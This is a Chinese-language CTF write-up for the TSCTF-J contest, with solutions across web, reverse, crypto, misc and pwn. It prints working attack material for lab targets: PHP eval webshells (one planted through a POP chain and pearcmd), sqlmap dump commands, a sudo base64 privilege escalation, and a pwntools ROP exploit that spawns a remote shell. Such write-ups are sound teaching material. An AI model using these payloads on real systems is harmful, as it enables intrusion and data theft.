TSCTFwp
Web 方向
争渡
上传php文件 web返回 已从tmp删除 可知存在时间差1
2
3
4
$f = fopen("shell.php", "w");
fputs($f, '<?php @eval($_POST["cmd"]);?>');
利用这个脚本 在服务器删除该文件之前 访问文件 使其在tmp写入一句话木马1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import requests
import time
url = "http://127.0.0.1:60865/tmp/getshell.php"
while True:
try:
html = requests.get(url, headers=headers, timeout=5) # 设置超时时间,避免无限等待
if html.status_code == 200:
print("OK")
break
else:
print("NO")
# 捕获连接相关异常,避免程序崩溃
except requests.exceptions.ConnectionError:
print("连接被关闭,重试中...")
except requests.exceptions.Timeout:
print("请求超时,重试中...")
except Exception as e:
print(f"其他错误: {e}")
# 每次请求后暂停一小段时间,减少服务器压力
time.sleep(0.4) # 可根据需要调整间隔(如0.1-1秒)
访问成功 后 利用蚁剑连接 可以发现flag需要提权访问1
2
3
4
5
6(www-data:/) $ sudo -l
Matching Defaults entries for www-data on ret2shell-116-91-1763539185:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on ret2shell-116-91-1763539185:
(ALL) NOPASSWD: /usr/bin/base64
(www-data:/) $
通过sudo -l 可以知道 可以利用base64 但是 会发现base64 查看flag返回空
说明base64 经过修改 需要查看 他的源码
这里提供两种方法
- base32读/usr/bin/base64文件,然后复制到自己电脑上并解码,则可得到base64
- 把/usr/bin/base64文件cp到web目录(/var/www/html)下,访问即可下载base64
逆向后 发现就是给命令执行程序获得flag1
sudo base64 "Y2F0" "L2ZsYWc="
EZ_sql
抓包发现是post传参 尝试用sqlmap1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" –batch
发现存在多种sql漏洞 获取所有数据库1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch –dbs

1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch -D welcome --tables

1
sqlmap -u "http://192.168.232.1:53977/" --data "id=1" --batch -D welcome -T flag –dump

获得flag TSCTF-J{sql_1nj3ct10n_m4573r}
EZ_login

对网址进行抓包 可以发现 验证码是跟cookie session 绑定的 ,因此保留cookie 对密码进行爆破 可以得到 simple 是密码
网页提示 不是本地管理员 ,修改请求包 添加X-Forwarded-For: 127.0.0.1 欺骗网址我是本地登录
对token进行base64解码 获得flag:
TSCTF-J{w31c0m3_70_7h3_w38_j0urn3y}
Druid
访问127.0.0.1:57735/druid
猜测 admin为账号密码

找到用户名Y0v_S22_Dru1d 获得flag
Findsecret
1 |
|
构造如上 pop链 触发include 函数 获得序列化值1
O%3A12%3A%22SecretHunter%22%3A3%3A%7Bs%3A4%3A%22clue%22%3BN%3Bs%3A6%3A%22target%22%3BO%3A12%3A%22FlagGuardian%22%3A2%3A%7Bs%3A6%3A%22puzzle%22%3BO%3A11%3A%22SecretVault%22%3A2%3A%7Bs%3A9%3A%22accessKey%22%3Bi%3A0%3Bs%3A10%3A%22hiddenData%22%3Bs%3A61%3A%22a%3A2%3A%7Bi%3A0%3Bs%3A19%3A%22%2Fusr%2Flocal%2Flib%2Fphp%2F%22%3Bi%3A1%3Bs%3A11%3A%22%2F..%2Fpearcmd%22%3B%7Dx%22%3B%7Ds%3A5%3A%22decoy%22%3BN%3B%7Ds%3A4%3A%22tool%22%3BN%3B%7D
传参后 web访问pearcmd..php
接下来利用 pearcmd 对web传参 实现rce1
2?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_GET['cmd']);?>+/var/www/html/webshell.php

注意hackbar 会将<>进行url编码 导致 可执行代码没有被正确识别 所以使用bp传参
访问flag文件
获得flag TSCTF-J{N0w-y0u-kNOW_iNTErEStlng-Pop_@ND_IfI_To_rCE649}
Reverse 方向
Singin
用ida逆向得 以下关键代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115__int64 sub_140001700()
{
Stream *Stream; // rax
char Buffer[256]; // [rsp+20h] [rbp-60h] BYREF
__int64 Buf2; // [rsp+120h] [rbp+A0h] BYREF
_QWORD v4[4]; // [rsp+128h] [rbp+A8h]
void *Buf1; // [rsp+148h] [rbp+C8h]
const char *WelcomeToTSCTF; // [rsp+150h] [rbp+D0h]
size_t Size; // [rsp+158h] [rbp+D8h]
sub_140001960();
Buf2 = 0x3D13023261347C23LL;
v4[0] = 0x143402370D641267LL;
*(_QWORD *)((char *)v4 + 7) = 0x347024692B7A0314LL;
*(_QWORD *)((char *)&v4[1] + 7) = 0x284202766B703261LL;
Size = 31LL;
sub_1400029A0("please input your flag: ");
Stream = __acrt_iob_func(0);
if ( !fgets(Buffer, 256, Stream) )
return 1LL;
Buffer[strcspn(Buffer, "\n")] = 0;
if ( Size == strlen(Buffer) )
{
WelcomeToTSCTF = "WelcomeToTSCTF";
Buf1 = malloc(Size);
if ( Buf1 )
{
sub_140001660(Buffer, WelcomeToTSCTF, Buf1, Size);
if ( !memcmp(Buf1, &Buf2, Size) )
puts("Correct Flag!");
else
puts("Wrong Flag!");
free(Buf1);
return 0LL;
}
else
{
return 1LL;
}
}
else
{
puts("Wrong Flag!");
return 1LL;
}
}
unsigned __int64 __fastcall sub_140001660(__int64 a1, const char *a2, __int64 a3, unsigned __int64 i_2)
{
size_t v4; // rax
unsigned __int64 i_1; // rax
size_t v6; // [rsp+28h] [rbp-18h]
char *v7; // [rsp+30h] [rbp-10h]
unsigned __int64 i; // [rsp+38h] [rbp-8h]
v4 = strlen(a2);
v7 = (char *)sub_1400014EC(a2, v4);
v6 = strlen(v7);
for ( i = 0LL; ; ++i )
{
i_1 = i;
if ( i >= i_2 )
break;
*(_BYTE *)(a3 + i) = v7[i % v6] ^ *(_BYTE *)(a1 + i);
}
return i_1;
}
_BYTE *__fastcall sub_1400014EC(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 v3; // rax
unsigned __int64 v4; // rax
unsigned __int64 v5; // rax
_BYTE *v6; // [rsp+28h] [rbp-28h]
unsigned __int64 i; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+40h] [rbp-10h]
int v9; // [rsp+48h] [rbp-8h]
int v10; // [rsp+4Ch] [rbp-4h]
sub_140001488(aAbcdefghijklmn); // "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
v6 = malloc(4 * ((i_1 + 2) / 3) + 1);
if ( !v6 )
return 0LL;
v10 = 0;
v9 = -6;
v8 = 0LL;
for ( i = 0LL; i < i_1; ++i )
{
v10 = (v10 << 8) + *(unsigned __int8 *)(a1 + i);
for ( v9 += 8; v9 >= 0; v9 -= 6 )
{
v3 = v8++;
v6[v3] = aAbcdefghijklmn[(v10 >> v9) & 0x3F];// "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
}
}
if ( v9 >= -5 )
{
v4 = v8++;
v6[v4] = aAbcdefghijklmn[(v10 << 8 >> (v9 + 8)) & 0x3F];// "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
}
while ( v8 < 4 * ((i_1 + 2) / 3) )
{
v5 = v8++;
v6[v5] = 61;
}
v6[v8] = 0;
return v6;
}
__int64 __fastcall sub_140001488(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+2Ch] [rbp-4h]
for ( i = 0; i <= 63; ++i )
result = sub_140001450(i + a1, a1 + (7 * i + 5) % 64);
return result;
}
先求自定义的base64编码表1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25def generate_custom_base64_table():
# 标准Base64字符表
original_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 转换为列表以便进行交换操作
table_list = list(original_table)
# 按照sub_140001488函数的逻辑打乱字符表
# 循环64次,每次交换特定位置的字符
for i in range(64):
# 计算要交换的位置:(7 * i + 5) % 64
pos = (7 * i + 5) % 64
# 交换位置i和pos的字符
table_list[i], table_list[pos] = table_list[pos], table_list[i]
# 转换回字符串并返回
return ''.join(table_list)
# 生成并打印自定义Base64编码表
custom_table = generate_custom_base64_table()
print("自定义Base64编码表:")
print(custom_table)
print("\n编码表长度:", len(custom_table))
得到编码表1
VkbKJo3PNcCSZQGXdUaLEwOet07jxAWmlsDqp9uf1Riy5F2nIB6rh4/+g8TzMYHv
将WelcomeToTSCTF 用自定义的base64编码表编码得到密钥
1
w/w5t/YF0wUnwoQKwJt=
用这个与buf1 数值异或1
23 7C 34 61 32 02 13 3D 67 12 64 0D 37 02 34 14 03 7A 2B 69 24 70 34 61 32 70 6B 76 02 42

TSCTF-J{We1c@me_t0_TS_CTF_2025}
听绿的秘密
用ja-gui 对tinglv.jar 逆向 获得以下代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
public class Runner {
static class CustomClassLoader extends ClassLoader {
private final String resourceName;
public CustomClassLoader(String param1String) {
this.resourceName = param1String;
}
protected Class<?> findClass(String param1String) throws ClassNotFoundException {
try {
InputStream inputStream = getResourceAsStream(this.resourceName);
try {
if (inputStream == null)
throw new ClassNotFoundException("Resource not found: " + this.resourceName);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] arrayOfByte1 = new byte[1024];
int i;
while ((i = inputStream.read(arrayOfByte1, 0, arrayOfByte1.length)) != -1)
byteArrayOutputStream.write(arrayOfByte1, 0, i);
byteArrayOutputStream.flush();
byte[] arrayOfByte2 = byteArrayOutputStream.toByteArray();
byte[] arrayOfByte3 = new byte[arrayOfByte2.length];
for (byte b = 0; b < arrayOfByte2.length; b++)
arrayOfByte3[b] = (byte)(arrayOfByte2[b] - 7);
Class<?> clazz = defineClass(param1String, arrayOfByte3, 0, arrayOfByte3.length);
if (inputStream != null)
inputStream.close();
return clazz;
} catch (Throwable throwable) {
if (inputStream != null)
try {
inputStream.close();
} catch (Throwable throwable1) {
throwable.addSuppressed(throwable1);
}
throw throwable;
}
} catch (IOException iOException) {
throw new ClassNotFoundException("Can't read this: " + param1String, iOException);
}
}
}
public static void main(String[] paramArrayOfString) {
try {
String str = "Secret.obf";
CustomClassLoader customClassLoader = new CustomClassLoader(str);
Class<?> clazz = customClassLoader.loadClass("Secret");
Method method = clazz.getMethod("main", new Class[] { String[].class });
method.invoke(null, new Object[] { paramArrayOfString });
} catch (Exception exception) {
System.err.println("Error: " + exception.getMessage());
exception.printStackTrace();
}
}
}
分析代码逻辑
解密secret.obf,执行解密后secret.class的程序 ,对cat.png加密得到Where_is_my_cat.png图片1
2加密时:原始类文件(.class)的每个字节加 7,得到加密文件(Secret.obf);
解密时:CustomClassLoader对Secret.obf的每个字节减 7,还原出原始的.class字节码。
先将secret.obf 文件解密得到secret.class1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
public class Secret {
public static void main(String[] var0) throws Exception {
if (var0.length < 2) {
System.out.println("2 args required.");
} else {
Path var1 = Paths.get(var0[0]);
Path var2 = Paths.get(var0[1]);
byte[] var3 = Files.readAllBytes(var1);
byte[] var4 = Arrays.copyOf(var3, var3.length);
int var5 = 123;
for(int var6 = 0; var6 < var4.length; ++var6) {
int var7 = var4[var6] & 255;
int var8 = (var6 + var5) % 8;
int var9 = var7 + var6 % 251 + var5 & 255;
int var10;
if (var8 == 0) {
var10 = var9;
} else {
var10 = (var9 << var8 | var9 >>> 8 - var8) & 255;
}
var4[var6] = (byte)var10;
var5 = var5 + var10 + 37 & 255;
}
Files.write(var2, var4, new OpenOption[0]);
System.out.println("Done.");
}
}
}
根据secret.class 的加密流程写出解密文件1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
public class Decrypt {
public static void main(String[] args) throws Exception {
// 打印当前工作目录(帮助确认文件位置)
String currentDir = System.getProperty("user.dir");
System.out.println("当前工作目录: " + currentDir);
// 可以使用绝对路径(例如:"C:/Users/你的用户名/Desktop/Where_is_my_cat.png")
String encryptedFile = "C:\\Users\\link\\Desktop\\untitled2\\src\\Where_is_my_cat.png"; // 这里可以替换为绝对路径
String decryptedFile = "cat.png";
Path encryptedPath = Paths.get(encryptedFile);
Path decryptedPath = Paths.get(decryptedFile);
// 检查文件是否存在
if (!Files.exists(encryptedPath)) {
System.err.println("错误:找不到文件 " + encryptedPath.toAbsolutePath());
System.err.println("请确认文件是否在上述工作目录中,或修改代码中的文件路径");
return;
}
// 读取加密文件内容
byte[] encryptedData = Files.readAllBytes(encryptedPath);
byte[] decryptedData = new byte[encryptedData.length];
// 初始值与加密时相同
int var5 = 123;
for (int var6 = 0; var6 < encryptedData.length; ++var6) {
int var10 = encryptedData[var6] & 255;
int var8 = (var6 + var5) % 8;
int var9;
if (var8 == 0) {
var9 = var10;
} else {
// 逆转循环左移:进行循环右移var8位
var9 = (var10 >>> var8 | var10 << (8 - var8)) & 255;
}
// 计算原始值
int originalValue = (var9 - (var6 % 251) - var5) & 255;
decryptedData[var6] = (byte) originalValue;
// 更新var5(与加密时逻辑一致)
var5 = (var5 + var10 + 37) & 255;
}
// 写入解密后的文件
Files.write(decryptedPath, decryptedData, new OpenOption[0]);
System.out.println("解密完成,文件已保存为: " + decryptedPath.toAbsolutePath());
}
}
执行程序 得到图片 
CryDancing
解压 ipa文件 对CryDancing 用ida 反汇编 得到如下
主要程序
1 | void __cdecl -[ViewController checkInput:](ViewController *self, SEL a2, id a3) |
逻辑: 将flag 加密后的base值与bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==对比
加密flag程序
1 | id __cdecl +[LynsSecret YouCanSeeThisRight:]( |
程序逻辑:
密钥(Key)处理:生成 AES 加密的密钥
调用LynsSecret的类方法GetKey(),获取原始密钥(假设为K)
将原始密钥K拼接4次(K + K + K + K),生成最终AES密钥(Key = KKKK)
输入文本预处理:转为二进制数据
保留用户输入的原始文本obj
将用户输入的文本obj以UTF-8编码(4LL)转为二进制数据(加密需要二进制输入)
目的:AES 加密算法的输入必须是二进制数据(NSData),因此需先将用户输入的字符串(NSString)转为 UTF-8 编码的二进制。
初始化向量(IV)固定:AES-CBC 模式的必要参数
- 创建长度为16字节的可变二进制数据(AES的IV固定为16字节,对应128位)
1
self_2 = objc_retainAutorelease(objc_retainAutoreleasedReturnValue(+[NSMutableData dataWithLength:](&OBJC_CLASS___NSMutableData, "dataWithLength:", 16LL)));
- 将IV的第一个32位(4字节)赋值为375(十六进制0x177,二进制固定)即17700000000000000000000000000000
1
*(_DWORD *)-[NSMutableData mutableBytes](self_2, "mutableBytes") = 375;
检索密钥程序
通过分析 可知 GetKey 返回值是 NOTD1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65id __cdecl +[LynsSecret GetKey](__objc2_class *p__OBJC_CLASS_$_LynsSecret, SEL GetKey)
{
__int64 n25_3; // x8
__int64 n25_4; // x9
char v5; // w28
__int64 n25_5; // x8
char v7; // w27
__int64 v8; // x24
char v9; // w26
NSString *obj; // x21
void *self; // x22
unsigned __int8 v12; // w23
__int64 n25_2; // [xsp+0h] [xbp-70h]
__int64 n25_1; // [xsp+8h] [xbp-68h]
__int64 n25; // [xsp+10h] [xbp-60h]
_BYTE nullTerminatedCString[5]; // [xsp+1Bh] [xbp-55h] BYREF
n25_3 = 0LL;
nullTerminatedCString[4] = 0;
LABEL_2:
n25_4 = 0LL;
n25_2 = n25_3;
v5 = aAbcdefghijklmn[n25_3];
LABEL_3:
n25_5 = 0LL;
n25_1 = n25_4;
v7 = aAbcdefghijklmn[n25_4];
LABEL_4:
v8 = 0LL;
n25 = n25_5;
v9 = aAbcdefghijklmn[n25_5];
while ( 1 )
{
nullTerminatedCString[0] = v5;
nullTerminatedCString[1] = v7;
nullTerminatedCString[2] = v9;
nullTerminatedCString[3] = aAbcdefghijklmn[v8];
obj = objc_retainAutoreleasedReturnValue(
+[NSString stringWithUTF8String:](
&OBJC_CLASS___NSString,
"stringWithUTF8String:",
nullTerminatedCString,
n25_2));
self = objc_retainAutoreleasedReturnValue(-[__objc2_class md5FromString:](p__OBJC_CLASS_$_LynsSecret, "md5FromString:", obj));
v12 = (unsigned __int8)objc_msgSend(self, "isEqualToString:", CFSTR("674040176a34f6c994003fe85badfc48"));
objc_release(self);
if ( (v12 & 1) != 0 )
return objc_autoreleaseReturnValue(obj);
objc_release(obj);
if ( ++v8 == 26 )
{
n25_5 = n25 + 1;
if ( n25 != 25 )
goto LABEL_4;
n25_4 = n25_1 + 1;
if ( n25_1 != 25 )
goto LABEL_3;
n25_3 = n25_2 + 1;
if ( n25_2 != 25 )
goto LABEL_2;
obj = 0LL;
return objc_autoreleaseReturnValue(obj);
}
}
}
所以AES 密钥 为 NOTDNOTDNOTDNOTD由这个可知 运算模式cbc 填充模式pkcs71
2
3
4
5
6
7
8
9CCCrypt(
0, // 操作类型:0 表示加密(kCCEncrypt)
0, // 加密算法:0 对应 kCCAlgorithmAES(AES 算法)
1u, // 选项标志:1 对应 kCCOptionPKCS7Padding(PKCS7 填充,AES 分组加密需填充)
key, // 密钥(由 LynsSecret 类的逻辑生成)
keyLength, // 密钥长度(符合 AES 128/192/256 位规范)
iv, // 初始化向量(IV),CBC 模式必需,ECB 模式无此参数
...
);
总流程: 将flag AES 加密后的16进制值 进行base64解码 对比是否吻合1
bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g==


获得flag TSCTF-J{S0rry_th3_4nswer_h4s_n0thing_2_do_with_l7rics}Crypto 方向
Cantor’s gifts
计算flag 的代码TSCTF-J{c4nt0r5_g1ft_f0r_th3_f1r5t_y0u_t0_m3t}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42from math import factorial
# 已知条件
hint = 2498752981111460725490082182453813672840574
hint2 = b'5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t'
n = len(hint2) # 消息长度
def lehmer_to_permutation(lehmer_code, n):
"""将Lehmer编码转换为排列"""
permutation = []
available = list(range(1, n+1)) # 可用数字列表,从1到n
for i in range(n):
# 计算阶乘
fact = factorial(n - i - 1)
# 确定当前位置的数字索引
index = lehmer_code // fact
lehmer_code = lehmer_code % fact
# 选择数字并从可用列表中移除
permutation.append(available[index])
del available[index]
return permutation
# 从hint获取reflection排列
reflection = lehmer_to_permutation(hint, n)
# 创建逆映射:从位置映射到原始索引
inverse_reflection = [0] * n
for idx, pos in enumerate(reflection):
inverse_reflection[pos - 1] = idx # 调整为0-based索引
# 恢复原始消息
original_message = bytearray(n)
for i in range(n):
original_message[i] = hint2[inverse_reflection[i]]
# 构造flag
flag = b'TSCTF-J{' + original_message + b'}'
print("原始消息:", original_message)
print("Flag:", flag.decode())
野狐禅
recover1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118import math
from sympy import Matrix
def long_to_bytes(n):
if n == 0:
return b''
return n.to_bytes((n.bit_length() + 7) // 8, 'big')
def main():
with open("challenge.txt", "r") as f:
lines = f.readlines()
n = int(lines[0].split(": ")[1])
g = int(lines[1].split(": ")[1])
k = int(lines[2].split(": ")[1])
eqs = int(lines[3].split(": ")[1])
ciphertexts = []
for i in range(4, 4 + 2 * k):
ciphertexts.append(int(lines[i].strip()))
lcg_raws = []
for i in range(4 + 2 * k, 4 + 4 * k):
lcg_raws.append(int(lines[i].strip()))
S = lcg_raws
D = []
for i in range(1, len(S)):
D.append(S[i] - S[i - 1])
T = []
for i in range(len(D) - 2):
T.append(D[i] * D[i + 2] - D[i + 1] * D[i + 1])
M = T[0]
for i in range(1, len(T)):
M = math.gcd(M, T[i])
M = abs(M)
m = M
found = False
a = None
b = None
for i in range(1, len(S) - 2):
d0 = S[i] - S[i - 1]
d1 = S[i + 1] - S[i]
if math.gcd(d0, m) == 1:
a = (d1 * pow(d0, -1, m)) % m
b = (S[i] - a * S[i - 1]) % m
found = True
break
if not found:
d0 = S[1] - S[0]
d1 = S[2] - S[1]
g = math.gcd(d0, m)
if d1 % g != 0:
print("Error: Cannot solve for a and b")
return
m1 = m // g
d01 = d0 // g
d11 = d1 // g
a0 = (d11 * pow(d01, -1, m1)) % m1
for t in range(g):
a_candidate = a0 + t * m1
b_candidate = (S[1] - a_candidate * S[0]) % m
if (a_candidate * S[1] + b_candidate) % m == S[2]:
a = a_candidate
b = b_candidate
found = True
break
if not found:
print("Error: Cannot find a and b")
return
n2 = n * n
y_values = []
for i in range(len(ciphertexts)):
c = ciphertexts[i]
raw = lcg_raws[i]
r = raw % n
r_n = pow(r, n, n2)
inv_r_n = pow(r_n, -1, n2)
X = (c * inv_r_n) % n2
m_val = (X - 1) // n
y_values.append(m_val)
A = []
b = []
for i in range(k):
row = []
for j in range(k):
index = i + k - 1 - j
row.append(y_values[index])
A.append(row)
b.append(y_values[k + i])
A_mat = Matrix(A)
b_mat = Matrix(b)
if A_mat.det() == 0:
print("Error: Matrix A is singular")
return
x = A_mat.inv() * b_mat
coeffs = [int(x_i) for x_i in x]
n_flag = 0
for i in range(len(coeffs)):
n_flag += coeffs[i] * (3 ** i)
flag = long_to_bytes(n_flag)
print(flag.decode())
if __name__ == "__main__":
main()
- 读取挑战数据
从challenge.txt中读取关键信息:Paillier 加密的公钥n、g,系数长度k,方程组数量eqs,以及加密后的密文列表和 LCG 生成器的原始输出值。 - 破解 LCG 参数(m, a, b)
LCG(线性同余生成器)的状态更新公式为state = (a state + b) % m,题解通过以下方式破解其参数:
计算 LCG 输出序列的一阶差分D(相邻元素的差),利用 LCG 的性质,差分序列满足D[i+1] = a D[i] % m。
计算二阶差分相关的T序列(T[i] = D[i]D[i+2] - D[i+1]^2),这些T值均为m的倍数,因此它们的最大公约数即为m。
已知m后,利用一阶差分D求解a(比例系数)和b(偏移量),通过线性同余方程D[i+1] ≡ aD[i] mod m反推a,再代入状态公式求b。 - 解密得到 y 序列
题目中使用简化的 Paillier 加密y值,加密公式为c = (g^m_val r^n) % n²(g = n+1)。解密过程:
由 LCG 的原始输出raw计算r = raw % n,并得到r^n mod n²。
求r^n的模逆,与密文c相乘,得到g^m_val mod n²。
利用g = n+1的性质,(n+1)^m_val ≈ 1 + m_valn mod n²(二项式展开近似),因此(g^m_val - 1) // n即为原始y值。 - 解线性方程组求系数 coeffs
题目中y序列的后半部分是前半部分与coeffs的线性组合(y[k+i] = sum(coeffs[j] y[i+k-1-j]))。据此构建线性方程组:
矩阵A的行由前k个y值的滑动窗口组成。
向量b由后半部分的y值组成。
求解方程组A coeffs = b,得到coeffs(flag 的三进制表示系数)。 - 还原 flag
coeffs是 flag 的三进制表示(从低位到高位),将其转换为整数(n_flag = sum(coeffs[i] * 3^i)),再转成字节序列即得到 flag TSCTF-J{We_sh0u1d_kn0w!}
Sign in
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37import base64
# 已知的十六进制值
KEY1_hex = "a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93"
KEY2_xor_KEY1_hex = "b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83"
KEY2_xor_KEY3_hex = "11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f"
FLAG_xor_all_hex = "e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121"
# 将十六进制字符串转换为整数
KEY1 = int(KEY1_hex, 16)
KEY2_xor_KEY1 = int(KEY2_xor_KEY1_hex, 16)
KEY2_xor_KEY3 = int(KEY2_xor_KEY3_hex, 16)
FLAG_xor_all = int(FLAG_xor_all_hex, 16)
# 计算KEY2:KEY2 = (KEY2 ^ KEY1) ^ KEY1
KEY2 = KEY2_xor_KEY1 ^ KEY1
# 计算KEY3:KEY3 = (KEY2 ^ KEY3) ^ KEY2
KEY3 = KEY2_xor_KEY3 ^ KEY2
# 计算m:m = (FLAG ^ KEY1 ^ KEY2 ^ KEY3) ^ KEY1 ^ KEY2 ^ KEY3
m = FLAG_xor_all ^ KEY1 ^ KEY2 ^ KEY3
# 将m转换为十六进制字符串
m_hex = hex(m)[2:] # [2:] 是为了去掉 '0x' 前缀
# 确保十六进制字符串的长度是偶数,如果不是则在前面补0
if len(m_hex) % 2 != 0:
m_hex = '0' + m_hex
# 将十六进制字符串转换为bytes
m_bytes = bytes.fromhex(m_hex)
# 进行base64解码得到flag
flag = base64.b64decode(m_bytes).decode('utf-8')
print(f"flag = {flag}")
TSCTF-J{I_like_Crypto}
1 | import math |
TSCTF-J{The_easiest_RSA_key!}
Misc 方向
BadFile
直接按照文件大小排序 最大的几个文件基本都是问题文件1
3WQlwSaj.txt_dubZ3AZn.txt_nhlbNxGL.txt_qtFyaGkZ.txt_wlBUCOeg.txt_2JuiKL42.wav_4UjLqeRF.wav_Ew24ldS2.wav_HjRtD6f3.wav_RtUwEgj1.wav_8YmxZRca.pdf_Z8P4DHre.pdf_mFU1SdVp.pdf_w9V1ZDEd.pdf_xdBqKtxe.pdf
TSCTF-J{0b4a2a6431f6b94b3c1d3d50d0a45aea}
卢森堡的秘密
隐写术 用zsteg 查看即可
Meow
用Meow 运行 得到如下顺序1
2
3
4
5vfndveyTsNSk
mv9bBq==
xZrFq2fu
x01LB3Dnztb3
iseHFq==
将大小写转换1
VFNDVEYtSnsKMV9BbQ==XzRfQ2FUX01lb3dNZTB3ISEhfQ==
分别base64编码即可
TSCTF-J{1_Am_4_CaT_MeowMe0w!!!}
AI 方向
Coup
这个有点搞 我0提示词直接通过游戏获得flag了
Pwn
ret
源代码 利用 ret 即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
vuln();
return 0;
}
__int64 vuln()
{
_BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF
puts("Welcome to TSCTF-J2025!");
puts("Just a simple sign-in!");
return gets(v1);
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from pwn import *
# 配置连接
# p = process('./binary') # 本地测试
p = remote('192.168.232.1', 61752) # 远程连接
# 关键地址
offset = 24 # 缓冲区(16) + rbp(8) = 24字节
pop_rdi_ret = 0x400773 # pop rdi; ret gadget
bin_sh_addr = 0x400794 # "/bin/sh"字符串地址
system_plt = 0x400530 # system函数PLT地址
# 构造payload
payload = b'A' * offset # 填充缓冲区和rbp
payload += p64(pop_rdi_ret) # 调用pop rdi; ret gadget
payload += p64(bin_sh_addr) # 将/bin/sh地址放入rdi寄存器
payload += p64(system_plt) # 调用system函数
# 发送payload
p.sendline(payload)
# 获得交互shell
p.interactive()
由此可以获得服务器shell 获得flag
TSCTF-J{WE1coM3-To_TH3_WOrLD-OF-binAry-vUlnErAblLitY7}
pop
1 | from pwn import * |

这个脚本我本地测试是可以获得shell的 但是远程的时候报错
最后时间来不及了 没做出来





